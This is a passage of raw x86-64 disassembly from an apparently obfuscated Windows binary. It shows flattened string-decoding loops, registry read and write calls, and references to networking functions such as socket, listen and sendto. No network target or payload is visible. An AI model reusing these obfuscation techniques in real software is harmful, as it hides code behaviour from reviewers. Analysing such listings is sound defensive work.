and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x2b
lea ecx, [rbx + 0x74]
inc r8
movzx eax, cl
and al, r10b
add al, al
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub cl, 0x2c
add cl, r10b
mov byte [rbp + rbx - 0x80], cl
add rbx, rax
movzx eax, byte [rbp + rbx - 0x80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400db903
sub r11b, 0xb
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x4d
movzx eax, byte [rbp + rbx - 0x80]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400db903
sub r11b, 0x3d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x55
jmp 0x1400db900
add r11b, 0x75
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x33
jmp 0x1400db8f1
lea r8, [rbp + 0x1452bb4]
jmp 0x1400dc3f6
lea r8, [rbp + 0x122395b]
jmp 0x1400dc3f6
lea r8, [rbp - 0x80]
mov rcx, qword [rbp + 0x260]
lea rax, [rbp + 0x250]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x258]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9d, [rdx + 0x10]
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x1400de367
cmp dword [rbp + 0x258], 1
jne 0x1400de367
movzx edx, byte [rbp + 0x250]
xorps xmm0, xmm0
xor eax, eax
mov qword [rsp + 0x320], rsi
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rax
mov dword [rbp + 0x258], r14d
mov dword [rbp - 0x60], 0xe5e3df09
mov dword [rbp - 0x5c], 0x47e2e4dc
nop dword [rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
mov rsi, r14
cmp rsi, 0x20
jae 0x1400dccbf
movzx r11d, byte [rbp + rsi - 0x60]
movzx r10d, sil
cmp r8, rsi
ja 0x1400dccb6
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400dc4c3
lea ecx, [r10 - 0xa]
mov edx, reloc.WLDAP32.dll_Ordinal_35
movzx eax, cl
and al, r11b
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
jmp 0x1400dc500
je 0x1400dcc47
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dcbcb
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400dcb98
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dcb78
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400dcb52
nop dword [rax]
mov rbx, r8
cmp r9, rsi
ja 0x1400dccad
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400dc52c
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x42
jmp 0x1400dc56c
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400dcb0e
inc rax
cmp r8, rax
je 0x1400dcae9
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dcade
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400dcac4
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400dca9a
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rsi
jbe 0x1400dc7af
nop dword [rax]
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400dc7a1
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400dc77c
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400dc76e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400dc754
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400dc746
lea r8, [r9 + 0x10]
lea r9, [r8 + 9]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400dcc91
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400dcc71
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400dc669
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400dc64c
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400dc707
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400dc6dd
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400dc6bd
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400dc6a3
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400dc683
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x40]
jmp 0x1400dc580
lea edx, [r10 - 0x5a]
mov ecx, Ordinal_60
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400dc500
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x16
jmp 0x1400dc497
sub r10b, 0x2c
mov ecx, reloc.WLDAP32.dll_Ordinal_26
movzx eax, r11b
and al, r10b
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400dcbb3
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x58
jmp 0x1400dcbe0
sub r10b, 4
mov ecx, reloc.WS2_32.dll_ntohl
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400dcc0a
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rbp + rsi - 0x60]
add rax, r9
add rsi, rax
lea edx, [r11 + r10]
sub dl, 0x70
inc rsi
jmp 0x1400dc483
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x5a
cmp r9, 0x80
jb 0x1400dca3a
lea ecx, [r10 + 4]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x38]
jmp 0x1400dcb26
add r10b, 0x64
mov ecx, Ordinal_35
jmp 0x1400dcb81
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x48
jmp 0x1400dca5d
sub r10b, 0x74
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1400dcb5b
sub r10b, 0x60
inc r9
movzx eax, r10b
dec rsi
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x60
inc rsi
jmp 0x1400dc483
lea edx, [r10 - 0x4c]
mov ecx, 0xa
jmp 0x1400dcb17
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1400dc83d
lea edx, [r10 - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x1400dca84
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400dc8d1
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x52
cmp r8, 0x10
jae 0x1400dca46
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x1400dc98f
lea edx, [r10 - 0x34]
mov ecx, gethostname
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400dc71c
jne 0x1400dc86d
add r10b, 0x5c
mov ecx, 0x3e
movzx eax, r10b
and al, r11b
sub cl, al
movzx eax, byte [rbp + rsi - 0x60]
add rax, r9
add rsi, rax
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc rsi
jmp 0x1400dc483
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x1400dc890
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6c
jmp 0x1400dcbe0
lea rax, [r9 + 4]
cmp rbx, rax
jne 0x1400dc8a7
add r10b, 0x20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1400dcba1
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x1400dc7d4
lea edx, [r10 - 8]
mov ecx, Ordinal_30
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400dca5d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dc8e8
lea edx, [r10 - 0x76]
mov ecx, Ordinal_30
jmp 0x1400dcb17
inc rax
cmp r8, rax
jne 0x1400dc915
add r10b, 0x76
inc r9
movzx eax, r10b
dec rsi
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3a
inc rsi
jmp 0x1400dc483
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dc92c
add r10b, 0x62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
jmp 0x1400dcb5b
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400dc943
add r10b, 0x3a
mov ecx, gethostname
jmp 0x1400dcb81
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dc968
add r10b, 0x26
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0xa
jmp 0x1400dcbb3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400dc809
lea ecx, [r10 + 0x12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7e
jmp 0x1400dcbe0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dc9c2
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rbp + rsi - 0x60]
add rax, r9
add rsi, rax
lea edx, [r11 + r10]
sub dl, 8
inc rsi
jmp 0x1400dc483
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400dc9e8
lea edx, [r10 - 0x70]
mov ecx, 8
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400dcbe0
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dca08
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x4c
jmp 0x1400dca5d
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400dca1f
add r10b, 0x40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400dcb5b
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dc71c
lea edx, [r10 + 0x18]
mov ecx, Ordinal_45
jmp 0x1400dcb17
mov byte [rbp + rsi - 0x60], dl
inc rsi
jmp 0x1400dc483
lea edx, [r10 - 0x10]
movzx ecx, r11b
movzx eax, dl
and al, r11b
sub cl, al
add cl, 0x38
add cl, cl
add dl, cl
sub r10b, 0x1a
movzx eax, r11b
and al, r10b
movzx ecx, dl
add al, al
sub cl, al
sub cl, 0x4a
add cl, r11b
add cl, r10b
mov byte [rbp + rsi - 0x60], cl
add r8, r9
jmp 0x1400dcbb3
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [rcx - 4]
jmp 0x1400dcbe0
add r10b, 0x7a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
movzx eax, byte [rbp + rsi - 0x60]
add rax, r9
add rsi, rax
lea edx, [r11 + r10]
sub dl, 0x56
inc rsi
jmp 0x1400dc483
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x6e
jmp 0x1400dcbe0
sub r10b, 0xe
mov ecx, Ordinal_50
jmp 0x1400dcb5b
add r10b, 6
inc r9
movzx eax, r10b
dec rsi
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2a
inc rsi
jmp 0x1400dc483
lea edx, [r10 + 0x1a]
mov ecx, Ordinal_41
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
sub r10b, 6
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
mov byte [rbp + rsi - 0x60], cl
inc r9
dec rsi
inc rsi
jmp 0x1400dc483
add r10b, 0x6a
mov ecx, reloc.WS2_32.dll_listen
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
dec rsi
inc rsi
jmp 0x1400dc483
sub r10b, 0x6e
mov ecx, 1
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
add r8, r9
jmp 0x1400dcbb3
sub r10b, 0x5a
mov ecx, Ordinal_60
movzx eax, r10b
and al, r11b
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x1400dc483
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x16
sub r10b, 0x2e
movzx eax, r11b
and al, r10b
inc r9
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
movzx eax, cl
mov byte [rbp + rsi - 0x60], al
add rax, r9
sub rsi, rax
lea ecx, [rsi - 0x38]
movzx eax, r11b
and al, cl
inc r8
add al, al
sub r11b, al
mov rax, 0xffffffffffffffff
sub rax, r8
sub r11b, 0x78
add r11b, cl
mov byte [rbp + rsi - 0x60], r11b
add rsi, rax
movzx eax, byte [rbp + rsi - 0x60]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400dc483
sub r10b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2e
movzx eax, byte [rbp + rsi - 0x60]
add rax, r9
add rsi, rax
inc rsi
jmp 0x1400dc483
sub r10b, 0x32
mov ecx, Ordinal_50
movzx eax, r11b
and al, r10b
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400dc480
sub r10b, 0x1e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x2e
jmp 0x1400dc470
lea rdx, [rbp + 0x151b0e8]
jmp 0x1400dccc3
lea rdx, [rbp + 0x109fade]
jmp 0x1400dccc3
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp + 0x260]
lea rax, [rbp + 0x258]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rsi, qword [rsp + 0x320]
test eax, eax
jne 0x1400de367
movzx r10d, byte [rbp + 0x250]
xor eax, eax
mov qword [rbp + 0x210], rax
mov byte [rbp + 0x218], al
mov dword [rbp + 0x190], 0x9caaa873
mov dword [rbp + 0x194], 0xaea9765a
mov dword [rbp + 0x198], 0x88b48292
mov dword [rbp + 0x19c], 0xbe448bb3
mov dword [rbp + 0x1a0], 0x8c48bc85
mov dword [rbp + 0x1a4], 0x838e8e84
mov dword [rbp + 0x1a8], 0xb070b589
mov dword [rbp + 0x1ac], 0xbf74b1bc
mov dword [rbp + 0x1b0], 0xb9788cb5
mov dword [rbp + 0x1b4], 0x7fb2babd
mov dword [rbp + 0x1b8], 0xa095aaba
mov dword [rbp + 0x1bc], 0xa3a3a9a0
mov dword [rbp + 0x1c0], 0x9ab36968
mov dword [rbp + 0x1c4], 0xa8a26d9d
mov dword [rbp + 0x1c8], 0xe710d5a9
mov dword [rbp + 0x1cc], 0xd0e615e3
mov dword [rbp + 0x1d0], 0xe9dbede3
mov dword [rbp + 0x1d4], 0xeee71dee
mov dword [rbp + 0x1d8], 0xd300f3e9
mov dword [rbp + 0x1dc], 0xf6c20527
mov dword [rbp + 0x1e0], 0xcc2609f4
mov dword [rbp + 0x1e4], 0xffefaf0
mov dword [rbp + 0x1e8], 0xca30c0fa
mov dword [rbp + 0x1ec], 0x39f9c7c3
mov dword [rbp + 0x1f0], 0xfccae936
mov dword [rbp + 0x1f4], 0x183cc8cf
mov dword [rbp + 0x1f8], 0xd1e7d5f0
mov dword [rbp + 0x1fc], 0x27d5d122
mov dword [rbp + 0x200], 0xdfddeed4
mov dword [rbp + 0x204], 0x2fd8dfe9
mov dword [rbp + 0x208], 0xd31719da
mov dword [rbp + 0x20c], 0xb7daf002
nop dword [rax]
nop dword [rax + rax]
mov r8, qword [0x1402ea380]
mov r9, qword [0x1402ea378]
nop
mov rdi, r14
cmp rdi, 0x89
jae 0x1400dd8b8
movzx ebx, byte [rbp + rdi + 0x190]
movzx r11d, dil
nop dword [rax]
cmp r8, rdi
ja 0x1400dd8af
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400dceba
lea r10d, [r11 - 0x79]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x4f
add r10b, bl
jmp 0x1400dcee6
je 0x1400dd841
inc rax
cmp r8, rax
je 0x1400dd7e8
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dd796
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400dd755
cmp r9, rdi
ja 0x1400dd8a6
lea rax, [r9 + 4]
cmp r8, rax
jae 0x1400dcf10
lea r10d, [r11 + 0x13]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x7b
add r10b, bl
jmp 0x1400dcf60
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400dd73e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dd71c
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400dd700
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400dd6bc
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400dd6a0
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400dd673
nop
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400dd3cb
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400dd3b1
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400dd38c
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400dd366
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400dd34c
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400dd32c
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400dd30c
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400dd2f2
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400dcf70
lea r8, [r9 + 0x80]
lea r9, [r8 + 4]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400dd88a
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400dd86e
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400dd109
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400dd0ee
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400dd0d3
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400dd2ab
lea rcx, [r9 + 0x80]
cmp r8, rcx
jb 0x1400dd263
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400dd22c
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400dd205
lea r9, [rcx + 4]
mov r8, rcx
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x1400dd1d8
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x1400dd1bc
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x1400dd19d
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x1400dd181
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x1400dd160
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x1400dd145
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x1400dd124
mov r8, rax
lea r9, [rax + 0x1000]
jmp 0x1400dcf70
lea r10d, [r11 + 0x4d]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x1b
add r10b, bl
jmp 0x1400dcf60
lea r10d, [r11 + 0x3f]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x47
add r10b, bl
jmp 0x1400dcee6
lea r10d, [r11 + 0x31]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x57
add r10b, bl
jmp 0x1400dce90
lea r10d, [r11 + 0x7c]
dec rdi
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x64
add r10b, bl
inc rdi
jmp 0x1400dce73
lea r10d, [r11 + 0x6e]
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 2
add r10b, bl
jmp 0x1400dd7ab
add r11b, 0x60
mov r10d, Ordinal_50
movzx eax, r11b
and al, bl
sub r10b, al
add r10b, r10b
add r10b, r11b
add r10b, bl
jmp 0x1400dd7cc
add r11b, 0x52
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x3e
jmp 0x1400dd7cf
lea edx, [r11 + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400dd6d1
add r11b, 0x36
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x7a
jmp 0x1400dd7ff
add r11b, 0x28
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
movzx eax, byte [rbp + rdi + 0x190]
add rax, r9
add rdi, rax
lea r10d, [rbx + r11]
sub r10b, 0x18
inc rdi
jmp 0x1400dce73
sub r11b, 0x7b
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0x5d
mov byte [rbp + rdi + 0x190], r10b
inc rdi
jmp 0x1400dce73
lea ecx, [r11 + 0x77]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x41
cmp r9, 0x40
jb 0x1400dd21c
lea ecx, [r11 - 0x36]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r10d, [rcx*2 - 0xc]
jmp 0x1400dd76a
lea ecx, [r11 + 0x69]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x21
cmp r8, 0x7a
jae 0x1400dd643
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400dd599
lea edx, [r11 + 0x3e]
mov ecx, Ordinal_41
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400dd241
lea ecx, [r11 + 0x5b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x7d
lea rax, [r9 + r8]
cmp rax, 0x7a
je 0x1400dd660
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400dd4bf
lea ecx, [r11 + 0x2b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x2d
jmp 0x1400dd278
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x5a
jmp 0x1400dd6d1
add r11b, 0x48
mov ecx, 4
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400dd7cf
add r11b, 0x3a
mov ecx, gethostname
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400dd7cc
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x34
jmp 0x1400dd7ab
add r11b, 0x1e
mov ecx, reloc.WS2_32.dll_socket
movzx eax, r11b
dec rdi
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
inc rdi
jmp 0x1400dce73
add r11b, 0x10
inc r9
movzx eax, r11b
dec rdi
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x70
inc rdi
jmp 0x1400dce73
lea ecx, [r11 + 2]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0xe
jmp 0x1400dd76a
lea rcx, [r9 + 8]
cmp r8, rcx
jae 0x1400dd3ee
lea ecx, [r11 - 0x79]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x4f
jmp 0x1400dd2c0
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dd424
add r11b, 0x26
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
movzx eax, byte [rbp + rdi + 0x190]
add rax, r9
add rdi, rax
lea r10d, [rbx + r11]
sub r10b, 0xa
inc rdi
jmp 0x1400dce73
inc rax
cmp r8, rax
jne 0x1400dd448
add r11b, 0x34
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x6c
jmp 0x1400dd7ff
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dd471
add r11b, 0x5e
mov ecx, gethostname
movzx eax, r11b
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, bl
jmp 0x1400dd7cc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dd49c
add r11b, 0x7a
dec rdi
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x56
inc rdi
jmp 0x1400dce73
cmp r8, rcx
jne 0x1400dd2c0
lea ecx, [r11 - 0x6a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x1a
jmp 0x1400dd76a
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400dd4e2
lea ecx, [r11 + 0x39]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
add r10b, 0x71
jmp 0x1400dd76a
inc rax
cmp r8, rax
jne 0x1400dd50f
add r11b, 0x47
inc r9
movzx eax, r11b
dec rdi
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0xf
inc rdi
jmp 0x1400dce73
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dd53a
add r11b, 0x55
dec rdi
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x53
inc rdi
jmp 0x1400dce73
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dd55f
add r11b, 0x71
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x17
jmp 0x1400dd7cc
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400dd278
sub r11b, 0x57
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
movzx eax, byte [rbp + rdi + 0x190]
add rax, r9
add rdi, rax
lea r10d, [rbx + r11]
add r10b, 0x61
inc rdi
jmp 0x1400dce73
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400dd5cf
add r11b, 0x4c
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
movzx eax, byte [rbp + rdi + 0x190]
add rax, r9
add rdi, rax
lea r10d, [rbx + r11]
sub r10b, 0x14
inc rdi
jmp 0x1400dce73
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400dd5f7
lea edx, [r11 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, bl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
jmp 0x1400dd6d1
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400dd61c
add r11b, 0x76
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
sub r10b, 0x3a
jmp 0x1400dd7cf
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400dd241
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x24
jmp 0x1400dd76a
lea edx, [r11 - 0x28]
movzx ecx, bl
movzx eax, dl
and al, bl
sub cl, al
add cl, 0xc
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x1400dd7ab
lea ecx, [r11 - 0x1a]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rcx - 0x4a]
jmp 0x1400dd6d1
sub r11b, 0x6f
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
movzx eax, byte [rbp + rdi + 0x190]
add rax, r9
add rdi, rax
lea r10d, [rbx + r11]
add r10b, 9
inc rdi
jmp 0x1400dce73
sub r11b, 0x7d
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0x6b
jmp 0x1400dd7ff
lea ecx, [r11 + 0x75]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [rbx + rcx]
sub r10b, 0x33
add r11b, 0x6d
inc r9
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
add r11b, 5
add r11b, bl
movzx eax, r11b
mov byte [rbp + rdi + 0x190], al
add rax, r9
sub rdi, rax
jmp 0x1400dd7ff
add r11b, 0x67
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r10d, [rbx + r11]
add r10b, 0x2f
jmp 0x1400dd7cf
add r11b, 0x3d
